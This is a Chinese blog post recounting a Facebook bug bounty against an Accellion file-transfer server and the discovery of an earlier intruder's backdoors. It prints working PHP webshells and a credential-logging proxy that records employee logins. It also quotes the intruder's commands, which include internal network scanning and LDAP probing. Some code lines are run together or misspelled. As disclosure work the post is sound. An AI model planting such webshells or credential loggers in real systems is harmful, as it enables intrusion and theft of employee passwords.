渗透Facebook的思路与发现 Secer's Blog - 记录互联网安全历程与个人成长经历

写在故事之前

身为一位渗透测试人员，比起 Client Side 的弱点我更喜欢 Server Side 的攻击，能够直接的控制服务器、获得权限操作 SHELL 才爽 <(￣︶￣)>

当然一次完美的渗透任何形式的弱点都不可小觑，在实际渗透时偶尔还是需要些 Client Side 弱点组合可以更完美的控制服务器，但是在寻找弱点时我本身还是先偏向以可直接进入服务器的方式来去寻找风险高、能长驱直入的弱点。

随着 Facebook 在世界上越来越火红、用户量越来越多，一直以来都有想要尝试看看的想法，恰巧 Facebook 在 2012 年开始有了 Bug Bounty 奖金猎人的机制让我更跃跃欲试。

一般如由渗透的角度来说习惯性都会从收集数据、侦查开始，首先界定出目标在网络上的 “范围” 有多大，姑且可以评估一下从何处比较有机会下手。例如:

Google Hacking 到什么数据?

用了几个 B 段的 IP ? C 段的 IP ?

Whois? Reverse Whois?

用了什么域名? 内部使用的域名? 接着做子域名的猜测、扫描

公司平常爱用什么样技术、设备?

在 Github, Pastebin 上是否有泄漏什么信息?

…etc

当然 Bug Bounty 并不是让你无限制的攻击，将所搜集到的范围与 Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。

一般来说大公司在渗透中比较容易出现的问题点这里举几个例子来探讨

对多数大公司而言，"网络边界”是比较难顾及、容易出现问题的一块，当公司规模越大，同时拥有数千、数万台机器在线，网管很难顾及到每台机器。在攻防里，防守要防的是一个面，但攻击只需找个一个点就可以突破，所以防守方相对处于弱势，攻击者只要找到一台位于网络边界的机器入侵进去就可以开始在内网进行渗透了!
对于 “连网设备” 的安全意识相对薄弱，由于连网设备通常不会提供 SHELL 给管理员做进一步的操作，只能由设备本身所提供的接口设定，所以通常对于设备的防御都是从网络层来抵挡，但如遇到设备本身的 0-Day 或者是 1-Day 可能连被入侵了都不自觉。
人的安全，随着 “社工库” 的崛起，有时可以让一次渗透的流程变得异常简单，从公开数据找出公司员工列表，再从社工库找到可以登入 VPN 的员工密码就可以开始进行内网渗透，尤其当社工库数量越来越多 “量变成质变” 时只要关键人物的密码在社工库中可找到，那企业的安全性就全然突破。

理所当然在寻找 Facebook 弱点时会以平常进行渗透的思路进行，在开始搜集数据时除了针对 Facebook 本身域名查询外也对注册信箱进行 Reverse Whois 意外发现了个奇妙的域名名称

tfbnw.net

TFBNW 似乎是 “TheFacebook Network”的缩写
再藉由公开资料发现存在下面这台这台服务器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起来是个 Juniper SSL VPN 的登入接口，不过版本满新的没有直接可利用的弱点，不过这也成为了进入后面故事的开端。

TFBNW 看似是 Facebook 内部用的域名，来扫扫 vpn.tfbnw.net 同网段看会有什么发现

Mail Server Outlook Web App
F5 BIGIP SSL VPN
CISCO ASA SSL VPN
Oracle E-Business
MobileIron MDM

从这几台机器大致可以判断这个网段对于 Facebook 来说应该是相对重要的网段，之后一切的故事就从这里开始。

弱点发现

在同网段中，发现一台特别的服务器

files.fb.com

files.fb.com 登入界面

从 LOGO 以及 Footer 判断应该是 Accellion 的 Secure File Transfer (以下简称 FTA)

FTA 为一款标榜安全文件传输的产品，可让用户在线分享、同步档案，并整合 AD, LDAP, Kerberos 等 Single Sign-on 机制，Enterprise 版本更支持 SSL VPN 服务。

首先看到 FTA 的第一件事是去网络上搜寻是否有公开的 Exploit 可以利用，Exploit 最近的是由 HD Moore 发现并发布在 Rapid7 的这篇 Advisory

Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

弱点中可直接从 “/tws/getStatus” 中泄漏的版本信息判断是否可利用，在发现 files.fb.com 时版本已从有漏洞的 0.18 升级至 0.20 了，不过就从 Advisory 中所透露的片段程序代码感觉 FTA 的撰写风格如果再继续挖掘可能还是会有问题存在的，所以这时的策略便开始往寻找 FTA 产品的 0-Day 前进!

不过从实际黑箱的方式其实找不出什么问题点只好想办法将方向转为白箱测试，透过各种方式拿到旧版的 FTA 原始码后终于可以开始研究了!

整个 FTA 产品大致架构：

网页端接口主要由 Perl 以及 PHP 构成

PHP 原始码皆经过 IonCube 加密

在背景跑了许多 Perl 的 Daemon

首先是解密 IonCude 的部分，许多设备为了防止自己的产品被检视所以会将原始码加密，不过好在 FTA 上的 IonCude 版本没到最新，可以使用现成的工具解密，不过由于 PHP 版本的问题，细节部份以及数值运算等可能要靠自己修复一下，不然有点难看…

经过简单的原始码审查后发现，好找的弱点应该都被 Rapid7 找走了 T^T
而需要认证才能触发的漏洞又不怎么好用，只好认真点往深层一点的地方挖掘!

经过几天的认真挖掘，最后总共发现了七个弱点，其中包含了

Cross-Site Scripting x 3

Pre-Auth SQL Injection leads to Remote Code Execution

Known-Secret-Key leads to Remote Code Execution

Local Privilege Escalation x 2

除了回报 Facebook 安全团队外，其余的弱点也制作成 Advisory 提交 Accellion 技术窗口，经过厂商修补提交 CERT/CC 后取得四个 CVE 编号：

CVE-2016-2350

CVE-2016-2351

CVE-2016-2352

CVE-2016-2353

详细的弱点细节会待 Full Disclosure Policy 后公布!

使用 Pre-Auth SQL Injection 写入 Webshell

在实际渗透中进去服务器后的第一件事情就是检视当前的环境是否对自己人善，为了要让自己可以在服务器上待的久就要尽可能的了解服务器上有何限制、纪录，避开可能会被发现的风险

Facebook 大致有以下限制：

防火墙无法连外, TCP, UDP, 53, 80, 443 皆无法

存在远程的 Syslog 服务器

开启 Auditd 记录

无法外连看起来有点麻烦，但是 ICMP Tunnel 看似是可行的，但这只是一个 Bug Bounty Program 其实不需要太麻烦就纯粹以 Webshell 操作即可。

似乎有点奇怪?

正当收集证据准备回报 Facebook 安全团队时，从网页日志中似乎看到一些奇怪的痕迹。

首先是在 “/var/opt/apache/php_error_log” 中看到一些奇怪的 PHP 错误讯息，从错误讯息来看似乎像是边改 Code 边执行所产生的错误?

PHP error log

跟随错误讯息的路径去看发现疑似前人留下的 Webshell 后门

Webshell on facebook server

其中几个档案的内容如下

sshpass

没错，就是那个 sshpass

bN3d10Aw.php

<?phpecho shell_exec($_GET['c']); ?>

uploader.php

<?phpmove_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"]));?>

d.php

<?phpinclude_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]);?>

sclient_user_class_standard.inc

<?php

include_once('sclient_user_class_standard.inc.orig');

$fp= fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");

$retries= 0;

$max_retries= 100;

//省略...

fwrite($fp,date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"]. ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST). ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE). "\n");

//省略...

前几个就是很标准的 PHP 一句话木马
其中比较特别的是 “sclient_user_class_standard.inc” 这个档案

include_once 中 “sclient_user_class_standard.inc.orig”为原本对密码进行验证的 PHP 程序，黑客做了一个 Proxy 在中间并在进行一些重要操作时先把 GET, POST, COOKIE 的值记录起来

整理一下，黑客做了一个 Proxy 在密码验证的地方，并且记录 Facebook 员工的账号密码，并且将记录到的密码放置在 Web 目录下，黑客每隔一段时间使用 wget 抓取

wgethttps://files.fb.com/courier/B3dKe9sQaa0L.log

↑ Logged passwords

从纪录里面可以看到除了用户账号密码外，还有从 FTA 要求档案时的信件内容，记录到的账号密码会定时 Rotate (后文会提及，这点还满机车的XD)

发现当下，最近一次的 Rotate 从 2/1 记录到 2/7 共约 300 笔账号密码纪录，大多都是 “@fb.com” 或是 “@facebook.com” 的员工帐密，看到当下觉得事情有点严重了，在 FTA 中，使用者的登入主要有两种模式

一般用户注册，密码 Hash 存在数据库，由 SHA256 + SALT 储存
Facebook 员工 (@fb.com) 则走统一认证，使用 LDAP 由 AD 认证

在这里相信记录到的是真实的员工账号密码，**猜测** 这份账号密码应该可以通行 Facebook Mail OWA, VPN 等服务做更进一步的渗透…

此外，这名 “黑客” 可能习惯不太好

后门参数皆使用 GET 来传递，在网页日志可以很明显的发现他的足迹
黑客在进行一些指令操作时没顾虑到 STDERR ，导致网页日志中很多指令的错误讯息，从中可以观察黑客做了哪些操作

从 access.log 可以观察到的每隔数日黑客会将记录到的账号密码清空

1cattmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done2>/dev/stdout92.168.54.13- - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET/courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -oStrictHostKeyChecking=no soggycat@localhost 'cp/home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo> /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559...

cattmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done2>/dev/stdout

tar-czvf files.tar.gz files

打包档案

对内部网络结构进行探测

diga archibus.thefacebook.com

telnetarchibus.facebook.com 80

curlhttp://archibus.thefacebook.com/spaceview_facebook/locator/room.php

diga records.fb.com

telnetrecords.fb.com 80

telnetrecords.fb.com 443

wget-O- -q http://192.168.41.16

diga acme.facebook.com

./sshpass-p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +shortptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout

...

使用 Shell Script 进行内网扫描但忘记把 STDERR 导掉XD

尝试对内部 LDAP 进行连接

sh:-c: line 0: syntax error near unexpected token `('

sh:-c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -bCN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -sbase (objectclass=*) 2>/dev/stdout'

尝试访问内部网络资源
( 看起来 Mail OWA 可以直接访问 …)

--20:38:09-- https://mail.thefacebook.com/

Resolvingmail.thefacebook.com... 192.168.52.37

Connectingto mail.thefacebook.com|192.168.52.37|:443... connected.

HTTPrequest sent, awaiting response... 302 Found

Location:https://mail.thefacebook.com/owa/ [following]

--20:38:10-- https://mail.thefacebook.com/owa/

Reusingexisting connection to mail.thefacebook.com:443.

HTTPrequest sent, awaiting response... 302 Moved Temporarily

Location:https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0[following]

--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0

Reusingexisting connection to mail.thefacebook.com:443.

HTTPrequest sent, awaiting response... 200 OK

Length:8902 (8.7K) [text/html]

Savingto: `STDOUT'

0K ........ 100% 1.17G=0s

20:38:10(1.17 GB/s) - `-' saved [8902/8902]

--20:38:33-- (try:15) https://10.8.151.47/

Connectingto 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/

Resolvingsvn.thefacebook.com... failed: Name or service not known.

--20:39:03-- https://sb-dev.thefacebook.com/

Resolvingsb-dev.thefacebook.com... failed: Name or service not known.

failed:Connection timed out.

Retrying.

尝试对 SSL Private Key 下手